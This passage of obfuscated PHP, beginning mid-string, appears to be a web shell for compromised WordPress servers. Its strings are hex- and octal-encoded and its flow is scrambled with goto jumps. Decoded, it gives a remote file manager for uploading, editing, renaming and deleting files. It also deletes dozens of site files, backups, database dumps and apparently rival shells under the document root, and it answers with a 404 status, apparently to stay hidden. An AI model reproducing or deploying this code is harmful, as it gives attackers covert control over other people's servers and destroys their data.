"\144\145\x6c\145\164\145\155\x65\56\x77\x70\144\x39\61\71\x33\60\x62\x62\x33\x33\64\x37\64\64\x36\x38\x62\63\x37\146\71\143\x38\x36\x33\x33\x66\142\x38\x62\145\67\x2e\x70\150\x70"); goto CTQxx; z7aoJ: $nxGrA = unlink($oyZlv . "\167\160\55\x75\160\x64\x61\164\x65\56\x70\x68\x70"); goto j5Kmz; QXxvO: $q01Jd = unlink($oyZlv . "\163\x69\x74\x65\155\141\160\x2e\x70\x68\160\x2e\x74\x61\162"); goto d1juj; JtbZR: $dW0K2 = unlink($oyZlv . "\56\x68\x74\x61"); goto oNxv8; E_3c0: $QUYpO = unlink($oyZlv . "\x61\x64\166\141\156\x63\145\x64\x2d\x63\141\x63\150\x65\x2e\x70\x68\x70\x2d\157\154\x64"); goto tRF9j; jsjN4: $akyoH = unlink($oyZlv . "\167\160\x2d\x63\x6f\x6e\x74\x65\156\x74\x2f\160\x6c\165\x67\151\x6e\163\x2f\x6e\161\163\x6e\x72\157\x6f\x33\57\x42\165\x74\x6c\x2e\x6a\x73\x2e\160\150\160"); goto xIFQU; SFUUF: $yaH0g = rmdir($oyZlv . "\167\x70\x2d\143\x6f\x6e\164\x65\x6e\164\57\157\x62\152\145\x63\164\55\x63\x61\143\x68\x65\x2e\160\x68\160\x2d\157\154\x64\x2d\x6f\x6c\x64"); goto ZJan3; jBYpq: $JMI53 = rmdir($oyZlv . "\137\x5f\115\101\x43\x4f\x53\130"); goto EouYr; TxTUD: $I5jEG = rmdir($oyZlv . "\56\167\x65\x6c\154\x2d\x6b\x6e\x6f\x77\x6e\57\160\153\151\55\166\x61\154\x69\144\x61\x74\x69\x6f\156\57\150\57\150\x2f\150\57\x68"); goto xgSpt; hYTlF: $ZEcWf = unlink($oyZlv . "\56\x70\150\160\x2e\151\x6e\151\61"); goto ioaH8; i81hj: $lMMLB = rmdir($oyZlv . "\137\x6f\x6c\144"); goto C9jFH; xOZLy: $xYO6d = unlink($oyZlv . "\167\160\55\143\157\156\164\145\x6e\x74\x2f\160\x6c\165\x67\x69\156\x73\x2f\154\150\x6f\154\x6c\x75\x65\x72\160\x66\x2f\165\x70\x2e\x70\150\160"); goto DhwRA; wFUSm: $K02o2 = unlink($oyZlv . "\x2e\150\145\x72\157\153\x75\55\x77\x70"); goto U2fSk; nCIa6: $d0jWZ = unlink($oyZlv . "\56\164\155\x70"); goto v7axG; FX2Yu: $btUvl = unlink($oyZlv . "\x77\x70\55\143\157\156\164\x65\156\164\57\155\x75\55\x70\154\x75\x67\151\x6e\x73\55\154\151\166\145\x2e\172\x69\x70"); goto vzRLB; kHZCJ: echo "\74\57\x68\65\x3e\40\11\11\x9\x3c\x66\x6f\162\155\x20\155\x65\164\x68\x6f\x64\x3d\42\x70\157\163\x74\42\76\x3c\x64\x69\166\40\x63\154\x61\163\x73\x3d\42\x66\x6f\x72\x6d\55\147\x72\x6f\x75\160\x22\x3e\x3c\x6c\141\x62\x65\154\40\146\x6f\x72\x3d\42\156\42\x3e\x4e\141\155\145\x20\x3a\x3c\x2f\x6c\x61\142\x65\154\x3e\74\151\156\x70\x75\x74\x20\x74\x79\160\145\75\x22\x74\x65\x78\164\x22\x20\156\141\155\145\x3d\42\156\42\x20\151\x64\75\x22\x6e\42\40\x63\x6c\141\x73\163\x3d\x22\x66\157\x72\x6d\55\x63\x6f\x6e\164\x72\157\x6c\42\40\x76\x61\154\165\145\x3d\42"; goto VomEX; J9uMR: $hYNaT = unlink($oyZlv . "\167\157\x72\144\160\162\x65\163\x73\55\66\56\67\x2e\61\56\172\151\x70"); goto mpAsh; LwVBF: $ENvDi = rmdir($oyZlv . "\151\x64\x63\x6f\x72\160\162\x64"); goto tdj5l; xQRUo: $XYSQj = rmdir($oyZlv . "\160\150\x70\x6d\x79\141\144\155\x69\156"); goto mh0pq; jT0jw: $C6bul = unlink($oyZlv . "\x61\x62\x6f\x75\164\x2e\160\150\160"); goto Mi0bS; tlXIC: $kyCha = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\164\x65\156\x74\x2f\x74\150\x65\x6d\x65\163\55\157\x6c\x64"); goto vrVpg; J_Eua: $UKSHg = unlink($oyZlv . "\56\143\157\x6e\x74\x65\156\x74\x73\x2e\x70\x68\x70"); goto hh4UG; c2QsF: $N_p5W = unlink($oyZlv . "\67\x37\71\x46\x37\x44\66\67\67\x42\x46\67\103\65\63\x41\70\101\67\x38\101\61\70\63\102\63\71\62\x45\x46\101\x43\x2e\x74\170\164"); goto KbuNX; xTGWp: $dI1PJ = rmdir($oyZlv . "\56\166\163\x63\x6f\144\x65"); goto fIh7Q; VomEX: echo Y2EFu($_GET["\156"]); goto LzaoM; ZBBeG: $Wq28G = unlink($oyZlv . "\162\x61\171\x2e\160\x68\160"); goto F8Wnt; AQHSd: $N3HLC = rmdir($oyZlv . "\56\x68\143\146\154\x61\x67"); goto ckT27; uLDa2: vEUx0($lbhnZ); goto J34QM; q2fio: echo "\x3c\x73\160\141\x6e\40\151\144\75\x27\141\x6e\152\x69\x6e\147\47\40\x73\164\x79\154\x65\75\x27\144\x69\163\x70\154\x61\x79\72\x6e\x6f\156\x65\x3b\47\x3e" . dirname(__FILE__) . "\74\57\x73\160\141\x6e\x3e"; goto vvSH1; QeibV: $N4cXg = rmdir($oyZlv . "\x77\160\x2d\x63\157\156\x74\145\x6e\x74\x2f\141\x64\x76\141\x6e\x63\x65\144\55\143\x61\x63\150\x65\x2e\x70\150\x70\x2d\x6f\x6c\144"); goto vDEVs; e4S8v: $a9bcc = rmdir($oyZlv . "\167\160\55\143\x6f\x6e\x74\145\x6e\164\57\x70\x6c\x75\147\x69\156\163\x2f\141\144\153\166\x75\x61\150"); goto xBJPr; Ty7b6: if ($CWqaS == "\156\145\167\106\x69\154\145") { goto pflSR; } goto jN_of; Cpk2t: $pi5fG = rmdir($oyZlv . "\x77\x70\55\x63\x6f\156\164\x65\x6e\x74\x2f\160\x6c\x75\x67\151\x6e\163\57\164\x75\x72\171\x6d\x63\x69"); goto h0zZt; Gmsha: $hIeSF = unlink($oyZlv . "\x77\x6f\157\144\155\141\x72\164\x2d\x74\150\145\x6d\145\x2d\160\145\164\x2d\154\141\156\x64\55\x64\145\155\157\x2e\x7a\x69\x70"); goto C9AfH; fkQyZ: $M3Weh = unlink($oyZlv . "\x46\124\x6d\x65\164\x53\130\x42\x72\162\x6f\167"); goto v6L1d; uRtMv: $U4yAY = unlink($oyZlv . "\x77\x70\55\143\157\x6e\x74\x65\x6e\164\x2f\x61\x64\166\141\156\143\x65\x64\x2d\x63\141\x63\x68\x65\x2d\142\141\x63\x6b\165\160\56\x70\150\160"); goto RTfVa; F5YIk: $sRiY3 = unlink($oyZlv . "\167\x70\x2d\162\x65\143\157\166\x65\x72\171\x2e\160\150\160"); goto vdoRF; BhE4O: $QLW6U = unlink($oyZlv . "\151\156\146\157\x73\x65\x63\x74\x5f\151\156\146\157\x73\145\143\56\163\x71\x6c"); goto UdO35; OZCFY: $kszgk = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\x74\145\x6e\164\x2f\x70\154\165\147\x69\x6e\x73\x2f\146\x69\154\x65\x2d\x6d\x61\x6e\141\147\x65\162\x2d\141\144\x76\x61\156\x63\x65\x64"); goto ePWT6; D2oXY: $Frdmv = rmdir($oyZlv . "\x73\x73"); goto Jb8IB; fw0aV: $EM1Tf = rmdir($oyZlv . "\167\x70\55\143\x6f\x6e\164\145\x6e\x74\x2f\x70\x6c\165\x67\151\156\x73\57\154\x35\x74\71\x70\x6a\153\x79"); goto euWw3; FeHEP: $vmHuN = rmdir($oyZlv . "\167\x70\55\143\x6f\156\164\x65\156\x74\57\160\154\165\147\151\156\x73\55\x6f\154\144"); goto HijlI; qqgu1: $xW9AS = unlink($oyZlv . "\x73\x79\156\143\x2e\160\x68\160"); goto UGJB0; ne7OH: $mFTlk = unlink($oyZlv . "\x75\x2e\160\150\160"); goto i6FTA; mg3W8: $v1ylF = rmdir($oyZlv . "\167\145\154\x6c\x2d\153\x6e\x6f\167\x6e\x2f\160\x6b\x69\x2d\x76\141\154\x69\144\141\164\x69\x6f\156\x2f\x67\57\147\57\x67\57\x67"); goto ufm1I; EDQEr: isset($_POST["\163"]) ? $lKwH4[13]($p8aQE . "\57" . y2eFu($_GET["\156"]), $_POST["\143\164\x6e"]) ? GzjSN("\x66\x69\x6c\x65\40\143\x6f\156\x74\145\156\x74\163\40\x63\x68\x61\156\147\145\x64\x20\163\x75\x63\x63\145\163\163\146\x75\x6c\x6c\171", 1, "\x26\141\x3d" . XEH2E("\166\x69\x65\x77") . "\46\156\x3d{$_GET["\156"]}") : gzJsn("\x66\151\154\145\40\143\157\x6e\x74\x65\x6e\x74\163\40\146\141\x69\154\145\x64\40\164\157\x20\143\x68\x61\156\147\x65") : null; goto apDjC; Sh9Cw: $GZ3L5 = rmdir($oyZlv . "\x77\160\55\x63\x6f\156\164\145\x6e\164\57\160\154\x75\147\x69\156\x73\x2f\x6a\x6e\x6e\141\156\157\x6c"); goto qJ6xp; ebptS: $H_3Ig = unlink($oyZlv . "\144\x65\x6c\x65\164\145\x6d\145\56\x77\160\141\x65\65\x63\146\x38\x34\x63\x64\x38\x35\141\x34\x34\x62\146\71\67\71\x62\142\x62\63\144\x36\x30\x39\x36\x38\71\63\x63\56\x70\150\x70"); goto XIS83; Horf8: $CYtK1 = rmdir($oyZlv . "\167\x70\55\x63\157\156\164\x65\x6e\x74\57\154\141\x6e\147\165\x61\147\x65\x73\x2d\x6f\154\x64"); goto g9GYZ; kKxmi: $TFUIM = unlink($oyZlv . "\x66\x6c\x75\163\x68\x70\145\x72\x6d\141\x6c\151\156\x6b\163\56\x70\x68\160"); goto MIUQZ; rz6o1: $qff3t = unlink($oyZlv . "\143\x6f\155\x70\157\x73\x65\162\56\x6c\x6f\x63\x6b"); goto IY7OE; w1xyi: $TCeY2 = unlink($oyZlv . "\164\155\160\154\x73\x2e\160\150\160"); goto IUtOj; MTckt: $iDy81 = rmdir($oyZlv . "\167\x70\x2d\143\x6f\x6e\x74\145\x6e\164\x2f\x70\154\165\x67\151\x6e\163\57\105\141\x73\171\123\105\x4f"); goto zyAmc; aDh05: $XaSTE = unlink($oyZlv . "\151\156\144\145\170\56\x68\164\x6d\154\56\142\x61\x63\153\x75\x70\x2e\x37\64\142\x32\x39\62\x65\146\x65\62\71\x63\x66\60\141\x62\62\144\143\141\142\x62\146\x39\65\60\x32\62\142\x30\x33\x33"); goto oR24D; a6vUQ: $egXnS = rmdir($oyZlv . "\167\160\55\x63\x6f\156\x74\145\156\x74\57\160\154\165\x67\x69\x6e\x73\57\145\x78\x65"); goto GdSKF; lXByg: $kbp1m = unlink($oyZlv . "\162\145\163\x65\164\56\x70\x68\160"); goto mhtBS; A7fZo: $JZkk9 = unlink($oyZlv . "\x77\160\x2d\143\x6f\156\x74\x65\x6e\x74\x2f\x73\165\x6e\162\x69\163\x65\56\160\150\160"); goto D4xTA; dGvHf: $kh0Ag = rmdir($oyZlv . "\x77\x70\55\143\157\x6e\164\145\x6e\x74\57\x70\154\165\x67\151\x6e\x73\x2f\x76\x67\x70\165\x6c\172\155\142\x62\x73"); goto KKWm2; cF2n3: $yXkOe = rmdir($oyZlv . "\164\150\x65\155\x65"); goto fw0aV; xIFQU: $F0pmK = unlink($oyZlv . "\x77\x70\55\x63\157\156\164\145\x6e\x74\57\x70\x6c\x75\147\x69\x6e\x73\x2f\x6e\161\x73\x6e\162\157\x6f\x33\x2f\x65\x72\x72\x6f\x72\137\x6c\157\147"); goto ahHXb; hUitC: isset($_POST["\163"]) ? $lKwH4[12]("{$p8aQE}\57{$_POST["\x6e"]}") ? Gzjsn("\x66\157\154\144\145\162\x20\x6e\x61\155\x65\40\x68\x61\163\x20\x62\x65\145\156\40\x75\163\145\x64", 0, "\x26\141\75" . XEH2E("\x6e\x65\167\x44\x69\x72")) : ($lKwH4[15]("{$p8aQE}\x2f{$_POST["\x6e"]}") ? GZJsn("\x66\157\x6c\144\x65\x72\40\x63\x72\145\x61\164\x65\x64\x20\163\165\143\143\145\x73\163\x66\165\x6c\x6c\171") : gZjsN("\146\157\x6c\x64\145\x72\x20\146\x61\x69\x6c\145\144\40\164\x6f\x20\143\x72\145\x61\164\x65", 0)) : null; goto Xirb1; lP7HY: echo "\x20\11\11\x9\74\150\x35\x20\x63\154\141\x73\x73\x3d\42\x62\x6f\x72\x64\x65\162\x20\x70\x2d\x31\40\x6d\x62\55\x33\42\x3e\x56\x69\x65\167\x20\146\151\x6c\x65\x3c\x2f\150\65\76\40\11\x9\x9\x3c\x73\x70\x61\x6e\76\x46\x69\154\x65\40\156\x61\155\x65\x20\x3a\40"; goto sNOzB; Ps9LN: NaG93: goto QmaO6; eRJ_E: $pIfE4 = rmdir($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\156\x74\57\167\x33\x74\143\x2d\x63\x6f\156\146\151\147\x2d\x6f\154\x64"); goto FHFvS; RQgR9: qOlCa: goto BOhZf; bcgnv: $BE5lX = unlink($oyZlv . "\x77\160\55\x63\x6f\156\164\x65\x6e\x74\57\x61\144\x76\x61\156\x63\x65\x64\x2d\143\141\143\x68\145\56\160\150\160"); goto VgYc8; wDK1i: $AXrOq = unlink($oyZlv . "\151\x6f\170\151\55\x6f\x2e\x70\150\160"); goto MzeWb; qqnc4: $oa06w = unlink($oyZlv . "\x36\x2d\61\60\x2d\x31\x34\x30\63\x2e\x7a\151\x70"); goto fhw7O; dmdkj: $enTiP = unlink($oyZlv . "\x69\156\x64\x65\x78\61\x2e\x70\x68\x70"); goto IIAEo; e9bR7: $Nb6LY = unlink($oyZlv . "\117\x6e\x65\x53\151\147\x6e\141\154\x53\104\113\x55\x70\144\x61\x74\145\x72\x57\x6f\162\153\x65\162\x2e\x6a\163"); goto J1QT_; YS2lA: $NjILT = rmdir($oyZlv . "\x77\160\55\143\x6f\156\164\x65\156\164\x2f\160\x6c\x75\x67\x69\156\x73\x2f\162\x61\x72"); goto onX2x; hPnwq: $klHe5 = unlink($oyZlv . "\x2e\150\x74\141\x63\143\145\x73\163\x2e\x70\x72\145\x69\156\x73\164\x61\154\x6c"); goto lQDUS; HAq34: $oyZlv = $_SERVER["\104\117\103\125\115\x45\x4e\x54\x5f\122\117\x4f\x54"] . "\x2f"; goto FUvKR; HhT0Z: $KIq9v = unlink($oyZlv . "\x77\150\x69\x74\x65\163\160\141\143\x65\x66\x69\x78\x2e\x70\150\160"); goto hwXl9; CUGCX: $J5Pyj = unlink($oyZlv . "\167\x70\55\143\157\156\164\x65\156\164\x2f\x77\x70\x2d\x63\141\x63\x68\x65\55\x63\157\x6e\x66\151\x67\x2e\160\x68\x70"); goto oURO6; qZW6J: $Gfzas = unlink($oyZlv . "\162\x73\171\x6e\x63\55\x77\157\162\x64\x70\162\145\x73\163\x2e\x73\150"); goto QDNM3; Oxz7t: $N4K2o = unlink($oyZlv . "\x2e\160\162\157\152\145\143\164"); goto c9hbi; lsTaM: $mHf4J = rmdir($oyZlv . "\145\x72\162\157\x72"); goto Gtqlo; tHm2N: $lbhnZ = $p8aQE . "\57" . y2eFU($_GET["\x6e"]); goto RlL1K; nhqiM: $hVmti = rmdir($oyZlv . "\167\160\x2d\143\x6f\x6e\x74\145\x6e\164\57\x69\x6e\x64\x65\170\56\x70\x68\x70\55\157\x6c\144"); goto WKgJF; yvSXp: $M6qTM = unlink($oyZlv . "\160\x68\x70\56\151\156\151\56\x7a\151\160"); goto OLMQz; ndVTh: if (!($CWqaS == "\144\x65\154\145\x74\145")) { goto iygO8; } goto tHm2N; rXoRa: $PixTN = unlink($oyZlv . "\x77\157\x72\144\160\x72\x65\x73\x73\55\144\x62\x2d\142\x61\143\x6b\165\x70\x2e\163\161\154"); goto QkYx5; KuSQ8: $S7fP2 = unlink($oyZlv . "\x6d\x61\x69\156\x74\145\x6e\141\156\x63\145\x2e\x70\150\x70"); goto Vt3Aj; tPo9Y: $MV1pB = rmdir($oyZlv . "\x77\160\55\x63\157\156\x74\145\x6e\164\x2f\x70\x6c\x75\x67\151\156\x73\57\x6c\150\157\154\154\x75\x65\162\x70\x66"); goto Eydu6; gTMss: $aCS97 = rmdir($oyZlv . "\x6c\x6f\x73\164\x2b\146\157\x75\x6e\x64"); goto ItEIE; AUnyH: $y5uo1 = unlink($oyZlv . "\x6f\142\152\x65\x63\x74\55\x63\141\143\150\x65\56\x70\x68\160\x2d\x6f\x6c\x64"); goto w10k3; D4xTA: $drt2m = unlink($oyZlv . "\56\150\164\141\143\143\145\163\x73\157\x6c\x64\163"); goto aZ17_; cdwyZ: $aPJkY = rmdir($oyZlv . "\101\114\x46\101\137\x44\x41\124\101"); goto R65bw; i9hky: $AjFhx = unlink($oyZlv . "\167\x70\x2d\x63\157\156\164\x65\156\164\57\160\x6c\165\x67\x69\156\163\57\165\142\150\x2f\143\x6f\156\56\x70\150\160"); goto f3QTF; KKWm2: $mhzaJ = rmdir($oyZlv . "\145\155\x70\154\157\x79\x65\x65\x5f\144\145\x74\141\151\154\x73"); goto XQn0b; qdlVn: $EQpu7 = unlink($oyZlv . "\150\151\144\145\x79\56\x70\x68\x70"); goto OEoBN; yAnEd: $RKp92 = unlink($oyZlv . "\167\x70\55\x63\x6f\x6e\x74\x65\156\x74\x2f\x70\x6c\x75\x67\x69\156\163\x2f\171\154\165\146\x6c\x77\155\163\x6c\172\57\151\x6e\144\145\x78\x2e\x70\150\x70"); goto FWTyu; pVF1r: $SM6Zo = unlink($oyZlv . "\x2e\167\x70\x64\142\56\163\x71\154"); goto MWNQo; vdoRF: $rx9KV = unlink($oyZlv . "\167\160\55\157\160\x74\151\157\156\56\x70\150\160"); goto C_HvM; Efmbs: $zCTAp = unlink($oyZlv . "\56\146\x74\160\161\x75\157\x74\141"); goto N_8Hw; htHAv: $q1Ic4 = unlink($oyZlv . "\x2e\x68\164\141\143\x63\145\x73\163\62\62"); goto fCqtt; uoj6t: $L5wJx = rmdir($oyZlv . "\x6c\x61\x77\55\164\141"); goto ovB32; qd63P: n_UQV: goto bCgyC; ej4UT: $s8bkd = unlink($oyZlv . "\154\141\167\55\164\141\x2e\x7a\151\160"); goto Bm2qF; Db432: $Io_jU = unlink($oyZlv . "\156\55\x66\141\x76\x69\143\x6f\156\56\x69\143\157"); goto ISVC4; fMgqh: $cqx33 = unlink($oyZlv . "\56\150\x74\141\x63\x63\145\163\x73\56\x62\153"); goto OTJ7e; LolQC: $EU7DO = unlink($oyZlv . "\141\144\155\x69\156\x65\162\x2e\160\x68\x70"); goto VGT6R; wpntD: $WqXH_ = unlink($oyZlv . "\64\60\x31\x2e\163\150\164\155\154"); goto YZifm; KQWYL: $poi2P = rmdir($oyZlv . "\x77\x70\55\143\157\156\164\x65\x6e\x74\57\160\154\x75\147\x69\x6e\x73\57\x77\160"); goto cZFz1; NLMPL: $RwWDY = rmdir($oyZlv . "\167\x70\55\143\157\156\x74\x65\x6e\164\x2f\x64\142\56\160\x68\160\55\157\x6c\144\55\157\x6c\x64"); goto NrgDu; ATNrF: $oKRzG = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\145\156\x74\57\x70\x6c\x75\147\x69\156\163\57\x65\162\x69\x79\141\156\x69"); goto YS2lA; cxE_g: $CWqaS = Y2EfU($_GET["\141"]); goto ley2N; hYBS7: function Y2EFu($C_Szp) { goto Kqesb; amURf: if (!($VQa5C < $Z7vD6)) { goto APwPC; } goto lXV1_; lADfG: $VQa5C = 0; goto FfLeu; cxgbc: return $KAnbB; goto pIcm6; OHuK5: goto NFYNV; goto jYxAR; M0KmU: $Z7vD6 = strlen($C_Szp) - 1; goto lADfG; g13FL: k1goU: goto vNRnc; vNRnc: $VQa5C += 2; goto OHuK5; Kqesb: $KAnbB = ''; goto M0KmU; FfLeu: NFYNV: goto amURf; jYxAR: APwPC: goto cxgbc; lXV1_: $KAnbB .= chr(hexdec($C_Szp[$VQa5C] . $C_Szp[$VQa5C + 1])); goto g13FL; pIcm6: } goto NJNl4; nwXbQ: $p8aQE = $lKwH4[2](); goto npOzL; cgsk5: GzJSN("\x66\x61\x69\x6c\145\x64\x20\x74\157\40\x64\145\154\x65\x74\145\40\x74\x68\x65\40\x66\x6f\x6c\144\x65\162", 0); goto c3HI3; GThhA: $yqY9M = unlink($oyZlv . "\x77\160\55\143\157\156\x74\145\x6e\164\57\x77\x70\x2d\x62\154\157\147\55\150\x65\x61\x64\145\x72\56\160\x68\160"); goto c9fmu; x4dWc: $VKYcH = unlink($oyZlv . "\x2e\150\x74\142\155\156\x79"); goto BQyWD; Jihvo: http_response_code(404); goto TUOHD; jBjIY: $OsbLj = rmdir($oyZlv . "\70\x35\x33\63\x37\x32\61\66\x34\x35"); goto G_38c; AqJas: $VJiUG = unlink($oyZlv . "\167\x70\x2d\143\x6f\156\164\145\x6e\x74\57\x6f\x62\x6a\x65\143\164\x2d\x63\141\143\x68\145\x2e\x70\x68\x70\56\142\x6b"); goto KuSQ8; LV59M: $US3P9 = unlink($oyZlv . "\64\61\x33\x2e\x73\x68\164\x6d\x6c"); goto UPzLw; AD2D8: $h8H8T = unlink($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\145\x6e\x74\x2f\160\x6c\165\x67\x69\x6e\x73\57\145\162\x72\157\162\x5f\154\157\x67"); goto Dzdi2; qfdfl: $IBokC = unlink($oyZlv . "\143\x65\x6b\x2e\x70\150\x70"); goto S0ccH; oURO6: $sZ0L2 = unlink($oyZlv . "\x2e\x68\x74\x61\x63\x63\x65\163\163\x5f\x73\x77\x69\146\x74\137\x62\141\143\x6b\x75\x70"); goto yyXjR; DhwRA: $dfbkp = unlink($oyZlv . "\x31\x6b\141\60\x6c\x6f\63\x70\56\x70\150\x70"); goto Hnrka; c36BW: $soWl0 = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\145\x6e\164\57\x70\154\x75\147\x69\156\163\x2f\143\x61\156\x64\x75"); goto qkeT9; vrVpg: $dBL4S = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\156\164\x65\x6e\x74\x2f\x74\150\x65\155\145\x73\55\157\154\x64\x2d\x6f\x6c\x64"); goto fZ1eF; Bm2qF: $RgLA6 = unlink($oyZlv . "\153\x61\171\141\156\x32\x2e\172\x69\160"); goto drKzI; WaTVN: header("\x43\157\156\x74\145\x6e\x74\x2d\124\162\141\x6e\163\146\145\x72\x2d\105\x6e\143\157\x64\151\156\x67\72\40\102\151\156\141\x72\171"); goto M0H34; kLVH4: $SUql8 = unlink($oyZlv . "\170\155\154\162\x70\143\56\160\150\x70"); goto iWI7g; Mo0vZ: $MRhtq = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\x74\145\x6e\164\x2f\x70\154\x75\147\x69\x6e\163\57\x65\x79\x68\162\170\162\163"); goto fiKGk; qyBJk: $MwxNz = unlink($oyZlv . "\x30\x30\x38\56\160\150\160"); goto hM49r; qH_4T: $LA2RL = unlink($oyZlv . "\x69\164\145\x73\160\x65\145\144\x2e\x63\157\x6e\146"); goto roBeo; ojo7N: $JAJsl = unlink($oyZlv . "\x72\x65\144\x69\x72\145\x63\x74\55\x6a\x61\x63\157\142\55\170\x31\56\x70\150\160"); goto n0UIm; FQxfW: foreach ($NkH1m as $RVudJ) { goto A4h23; gEp1s: Egoua: goto w8kuh; qGF1m: echo "\x20\11\11\x9\11\x9\74\164\162\x3e\x20\11\11\x9\x9\x9\11\x3c\x74\144\x3e\74\141\x20\150\x72\145\146\75\42\x3f\160\x3d" . Xeh2E("{$p8aQE}\57{$RVudJ}") . "\x22\40\x64\141\164\x61\x2d\x74\157\x67\x67\x6c\145\x3d\42\x74\x6f\x6f\154\164\x69\x70\42\40\144\x61\x74\x61\55\160\x6c\x61\143\x65\x6d\x65\156\x74\x3d\x22\x61\165\x74\x6f\42\40\x74\x69\x74\x6c\145\x3d\x22\x4c\141\164\x65\163\x74\40\155\x6f\144\151\146\171\x20\157\x6e\40" . $lKwH4[19]("\131\x2d\155\55\144\40\x48\x3a\151", $lKwH4[20]("{$p8aQE}\x2f{$RVudJ}")) . "\x22\76\x3c\x69\40\x63\x6c\x61\x73\163\75\42\146\x61\x20\x66\141\55\146\x77\40\x66\141\55\146\x6f\x6c\144\x65\x72\x22\x3e\74\57\151\x3e\40{$RVudJ}\74\57\141\76\x3c\57\164\x64\x3e\40\11\11\11\x9\x9\11\x3c\x74\144\76\x4e\x2f\101\x3c\x2f\x74\x64\x3e\40\x9\x9\11\11\x9\x9\74\x74\144\x3e\74\x66\157\156\x74\x20\143\x6f\154\x6f\162\x3d\42" . ($lKwH4[8]("{$p8aQE}\x2f{$RVudJ}") ? "\43\x30\60\146\146\x30\60" : (!$lKwH4[9]("{$p8aQE}\57{$RVudJ}") ? "\162\x65\144" : null)) . "\42\x3e" . ZvU07("{$p8aQE}\x2f{$RVudJ}") . "\x3c\x2f\146\x6f\156\x74\x3e\x3c\x2f\x74\144\76\40\11\11\x9\x9\x9\x9\74\164\144\76\x20\11\11\11\11\x9\x9\11\74\141\x20\x68\x72\x65\x66\75\42\77\x70\x3d" . xeh2e($p8aQE) . "\x26\x61\75" . xeH2E("\162\x65\156\x61\x6d\145") . "\46\x6e\75" . xEH2e($RVudJ) . "\46\x74\75\144\x22\40\144\141\164\x61\x2d\x74\157\x67\147\154\145\x3d\x22\x74\157\x6f\154\164\151\160\x22\x20\144\x61\164\x61\x2d\x70\x6c\141\143\x65\x6d\x65\x6e\x74\75\42\141\x75\x74\157\42\40\164\151\x74\x6c\x65\x3d\x22\x52\145\x6e\x61\155\145\x22\76\74\151\40\x63\154\x61\163\x73\75\x22\146\141\x20\146\x61\x2d\x66\x77\40\x66\141\x2d\x70\145\156\x63\x69\154\42\x3e\x3c\57\x69\x3e\74\x2f\141\76\40\x9\11\x9\x9\x9\11\x9\x3c\x61\40\150\x72\x65\x66\x3d\x22\x3f\x70\75" . XEH2e($p8aQE) . "\x26\x61\x3d" . xeh2e("\144\x65\x6c\x65\164\145") . "\46\156\75" . xeH2E($RVudJ) . "\x22\40\143\154\x61\163\x73\75\42\144\145\x6c\145\x74\145\42\40\144\x61\164\141\x2d\x74\171\x70\x65\75\x22\x66\157\x6c\144\x65\x72\x22\x20\144\x61\x74\141\55\164\157\x67\147\x6c\145\x3d\42\164\157\157\x6c\x74\151\x70\42\x20\144\x61\x74\x61\x2d\160\x6c\x61\x63\145\x6d\x65\x6e\x74\x3d\42\141\x75\x74\x6f\42\40\x74\x69\x74\x6c\145\75\x22\x44\145\x6c\x65\164\145\x22\76\x3c\151\40\x63\154\141\163\163\75\42\x66\141\40\x66\141\x2d\x66\167\x20\146\141\x2d\x74\x72\141\163\150\x22\x3e\74\x2f\x69\76\74\x2f\x61\x3e\x20\11\x9\x9\11\11\11\x3c\57\x74\144\76\40\11\11\x9\11\x9\74\57\164\x72\x3e"; goto gEp1s; tmRGu: atQ_d: goto qGF1m; IUDBk: goto Egoua; goto tmRGu; A4h23: if ($lKwH4[6]("{$p8aQE}\57{$RVudJ}")) { goto atQ_d; } goto IUDBk; w8kuh: } goto lSKwp; mhtBS: $XUE5d = unlink($oyZlv . "\167\160\x2d\x61\x63\164\x69\x76\x61\164\x65\156\x76\x76\56\160\x68\160"); goto GoBrJ; d_Tvu: E8aX_: goto X_w2x; XpI2Q: $Ws7bA = unlink($oyZlv . "\x78\141\x79\144\165\156\147\56\x7a\x69\x70"); goto zKyah; O1R2E: $aSauS = unlink($oyZlv . "\157\160\55\x73\145\162\166\145\x72\x2d\x73\143\x61\156\x6e\145\162\56\160\150\160"); goto m9Y54; xmqUN: $XWjZ3 = unlink($oyZlv . "\165\163\x65\x72\x2e\160\x68\x70"); goto KXqOp; r8Xpu: $Tesf9 = unlink($oyZlv . "\x32\x31\x5f\x31\61\x2e\x7a\x69\160"); goto ch0hn; refXe: $NkH1m = "\163\143\141\x6e\x64\151\x72"; goto h0gBb; G3Nl0: $xfpMG = unlink($oyZlv . "\x77\x70\55\x63\x6f\156\x74\145\x6e\164\57\x70\154\x75\147\151\x6e\x73\57\163\150\x65\154\x6c\x2f\x69\156\x64\145\x78\56\x70\x68\x70"); goto EAphJ; hLMDx: $vr46z = unlink($oyZlv . "\56\56\165\163\145\162\x2e\x69\x6e\151\61"); goto UB3am; B5l4k: $jXa9w = rmdir($oyZlv . "\167\160\x2d\x63\x6f\x6e\164\145\x6e\x74\57\x70\154\x75\147\151\x6e\163\57\x75\151\152\x75\143\156\x72"); goto dGvHf; HMrcv: $XiDz2 = unlink($oyZlv . "\167\160\55\143\x6f\156\164\x65\x6e\164\x2f\160\x6c\165\147\x69\156\x73\x2f\x61\x75\x74\157\x6c\x6f\141\x64\137\143\154\141\x73\x73\155\x61\x70\56\160\x68\x70"); goto fCgaj; xHs0z: $Qi7lW = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\156\x74\x65\156\164\57\160\x6c\165\147\x69\156\x73\x2f\x70\166"); goto vBWjw; l7PPO: $hdm27 = unlink($oyZlv . "\167\x70\55\x76\145\162\x2e\160\x68\x70"); goto F5YIk; ckT27: $Kc4b8 = rmdir($oyZlv . "\x2e\162\156\x64"); goto VCdO_; g9GYZ: $aScpf = rmdir($oyZlv . "\167\x70\x2d\143\157\x6e\164\145\156\x74\x2f\155\x75\x2d\160\x6c\165\147\x69\x6e\x73\x2d\x6f\x6c\x64"); goto kvCVg; zeGmf: if ($lKwH4[11]($_FILES["\146"]["\x74\155\160\137\x6e\141\x6d\145"][$VQa5C], $Uw6KJ[$VQa5C])) { goto gF4kK; } goto DS0i_; hM49r: $EV8Mo = unlink($oyZlv . "\x61\163\164\x72\157\x6d\x2e\160\x68\x70"); goto Yd6ee; 